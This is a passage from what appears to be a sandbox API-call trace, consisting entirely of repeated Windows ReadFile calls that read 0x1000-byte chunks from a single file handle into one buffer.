nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.514] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.514] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.514] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.515] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.515] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.515] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.515] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.515] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.515] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.515] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.517] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.517] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.517] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.517] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.517] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.518] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.518] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.518] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.518] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.518] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.518] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.518] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.518] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.519] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.519] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.519] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.519] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.519] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.519] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.519] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.520] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.520] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.520] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.520] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.520] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.520] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.520] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.521] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.521] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.521] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.521] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.521] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.521] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.521] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.521] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.522] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.522] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.522] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.522] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.522] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.522] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.522] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.523] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.523] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.523] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.523] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.523] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.523] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.523] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.524] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.524] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.524] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.524] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.524] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.524] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.524] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.524] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.525] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.525] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.525] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.525] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.525] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.525] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.525] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.526] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.526] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.527] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.527] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.527] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.527] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.527] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.527] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.527] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.528] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.528] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.528] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.528] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.528] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.528] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.528] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.528] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.529] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.529] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.529] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.529] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.529] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.529] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1dd9dde8, lpOverlapped=0x0 | out: lpBuffer=0x26b6138*, lpNumberOfBytesRead=0x1dd9dde8*=0x1000, lpOverlapped=0x0) returned 1 [0188.529] ReadFile (in: hFile=0x988, lpBuffer=0x26b6138, 